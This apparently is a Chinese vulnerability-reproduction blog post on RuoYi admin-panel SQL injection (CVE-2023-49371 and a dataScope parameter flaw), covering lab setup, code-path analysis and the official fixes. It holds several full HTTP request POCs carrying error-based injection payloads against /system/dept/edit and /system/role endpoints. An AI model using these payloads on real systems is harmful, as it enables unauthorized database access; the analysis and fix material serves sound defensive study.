若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御

环境搭建

下载若依:https://github.com/yangzongzhuan/RuoYi/releases

若依4.7.6安转示例

这里以4.7.6版本为例,其他版本的安装方法几乎一样。请根据漏洞选择合适的版本进行安装。

在3307端口开启一个mysql服务(我本机的3306端口有其他服务了,这个根据实际情况可调整),并创建一个名为ry的数据库

复制代码
docker run -d \
--name ruoyi4.7.6-mysql \
-e MYSQL_ROOT_PASSWORD=123456 \
-e MYSQL_DATABASE=ry \
-p 3307:3306 \
-v mysql-data:/var/lib/mysql \
mysql:8.0

RuoYi-4.7.6/sql/ry_20210924.sqlRuoYi-4.7.6/sql/quartz.sql导入ry数据库

参考文章:https://www.hacktwohub.com/
若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御

RuoYi-4.7.6/ruoyi-admin/src/main/resources/application-druid.yml中修改连接数据库的相关信息

RuoYi-4.7.6/ruoyi-admin/src/main/resources/logback.xml中将日志路径需改为相对路径./logs

RuoYi-4.7.6/ruoyi-admin/src/main/resources/application.yml中将上传路径也修改为相对路径

点击IDEA右上角开启,发现如下图标即部署成功

访问 http://your-ip/发现若依界面,至此,若依4.7.6版本部署成功!

若依后台SQL注入1(CVE-2023-49371)

影响版本

  • RuoYi < 4.6.2

漏洞探测

同漏洞利用

漏洞利用

POC如下:(这个长度有限制,所以你发现无法显示全root@172.17.0.1,只能显示@172.17.0.1

复制代码
POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

漏洞分析

在进行sql语句查询是,MyBatis支持两种参数符号,一种是#,另一种是$#使用预编译向占位符中设置值,可有效防止sql注入。$使用拼接SQL,也是触发sql注入的关键。

ruoyi中关于mybatis的相关配置在application.yml文件中:

于是我们在classpath*:mapper/**/*Mapper.xml*中遍历寻找包含$的文件

我们先看SysDeptMapper.xml配置文件,其中${}包裹住的ancestors参数很有可能存在sql注入漏洞,完整的语句类似于

复制代码
update sys_dept set status=x where dept_id in ${ancestors}

我们要寻找触发该语句的函数

查看SysDeptMapper.xml文件开头,定位到Dao层com.ruoyi.system.mapper.SysDeptMapper

com.ruoyi.system.mapper.SysDeptMapper类中寻找到了updateDeptStatus方法

找到在service层com.ruoyi.system.service.impl.SysDeptServiceImpl类的updateParentDeptStatus()方法中可调用到updateDeptStatus(SysDept dept)方法

com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus又是通过com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDep方法调用

最后定位到Controller 层SysDeptControllereditSave()方法可触发该调用。

于是我们通过/system/dept/edit传入若依构造的ancestors值即可

复制代码
POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

漏洞修复

若依官方在4.6.2版本中对这个漏洞进行了修复

第一段代码存在明显的 SQL 注入风险:它在WHERE dept_id IN (${ancestors})中使用了${ancestors},即未经任何转义地将输入字符串插入 SQL。

第二段代码则明显规避了该注入问题:它在IN子句中使用了<foreach>+#{deptId}的参数绑定方式,所有动态数据都经过了预编译处理 。在执行时,MyBatis 会将每个deptId值作为 JDBC 参数绑定到?占位符中,保证了数据类型与转义的正确性,从根本上杜绝拼接式注入的可能。换言之,只要传入的deptIds参数本身不是有意包含 SQL 片段,注入风险就不存在了。

若依后台SQL注入2

影响版本

  • RuoYi < 4.6.2

漏洞探测

同漏洞利用

漏洞利用

点击"角色管理",拦截请求包

POC如下:

复制代码
POST /system/role/list HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

还有一个注入点POC如下(原理一样就放一起了)

复制代码
POST /system/role/export HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

经测试,/system/dept/list也有同样的漏洞

漏洞分析

根据之前分析CVE-2023-49371的思路,我们再来在classpath*:mapper/**/*Mapper.xml*中遍历寻找包含$的文件

这次选择/resources/mapper/system/SysRoleMapper.xml文件进行分析

完整的sql语句如下

复制代码
SELECT DISTINCT 
r.role_id, 
r.role_name, 
r.role_key, 
r.role_sort, 
r.data_scope,
r.status, 
r.del_flag, 
r.create_time, 
r.remark 
FROM 
sys_role r
LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id
LEFT JOIN sys_user u ON u.user_id = ur.user_id
LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
WHERE 
r.del_flag = '0'
AND r.role_name LIKE CONCAT('%', #{roleName}, '%')
AND r.status = #{status}
AND r.role_key LIKE CONCAT('%', #{roleKey}, '%')
AND r.data_scope = #{dataScope}
AND DATE_FORMAT(r.create_time, '%y%m%d') >= DATE_FORMAT(#{params.beginTime}, '%y%m%d')
AND DATE_FORMAT(r.create_time, '%y%m%d') <= DATE_FORMAT(#{params.endTime}, '%y%m%d')
${params.dataScope}

定位一下selectRoleList函数的位置

com.ruoyi.system.mapper.SysRoleMapper类找到selectRoleList方法

找到在service层com.ruoyi.system.service.impl.SysRoleServiceImpl类的selectRoleList()方法中可调用到selectRoleList(SysRole role)方法

最后定位在到Controller 层SysRoleController的类中,/system/role/list接口中的list()/system/role/export接口中的export()方法可触发该调用。

/system/role/list接口的POC如下:

复制代码
POST /system/role/list HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

/system/role/export接口的POC如下

复制代码
POST /system/role/export HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

经测试,/system/dept/list也有同样的漏洞

漏洞修复

这个漏洞的修复和之前的CVE-2023-49371倒是不太一样,之前是直接把${}换了,而这里是加了一个clearDataScope的函数来在方法执行前将params[dataScope]的值给清空,防止了sql注入。

整体流程伪代码

复制代码
@DataScope(deptAlias="d")
↓(方法执行前)
DataScopeAspect.doBefore()
↓
getAnnotationLog() 拿到 deptAlias="d"
↓
dataScopeFilter(..., deptAlias="d", ...)
↓
生成 SQL 片段: " AND ( d.dept_id IN (…) OR … )"
↓
放入 BaseEntity.params.dataScope
↓
roleMapper.selectRoleList(role) 执行时
↓
最终 SQL 拼上 AND (...),实现数据权限过滤
相关推荐
小江的记录本2 小时前
【事务】Spring Framework核心——事务管理:ACID特性、隔离级别、传播行为、@Transactional底层原理、失效场景
java·数据库·分布式·后端·sql·spring·面试
数据皮皮侠2 小时前
中国城市间地理距离矩阵(2024)
大数据·数据库·人工智能·算法·制造
lars_lhuan2 小时前
从键值数据库到Redis
数据库·redis·缓存
钛态2 小时前
Flutter for OpenHarmony:mockito 单元测试的替身演员,轻松模拟复杂依赖(测试驱动开发必备) 深度解析与鸿蒙适配指南
服务器·驱动开发·安全·flutter·华为·单元测试·harmonyos
倔强的石头1062 小时前
KaiwuDB社区版 3.1.0 在 Ubuntu 22.04 部署实战:TLS 配置、踩坑复盘与轻量压测
数据库·ubuntu·kwdb
liwenzhuola2 小时前
解决 Ubuntu 上 Qt Creator 项目编译失败的问题
数据库·qt·ubuntu
小二·3 小时前
威胁情报驱动的安全运营:从IOC到TTPs的深度狩猎实战指南
安全
万邦科技Lafite4 小时前
利用淘宝商品详情接口获取商品价格,监控商品价格浮动
数据库·api·开放api接口·淘宝开放接口
深藏功yu名4 小时前
Day24:向量数据库 Chroma_FAISS 入门
数据库·人工智能·python·ai·agent·faiss·chroma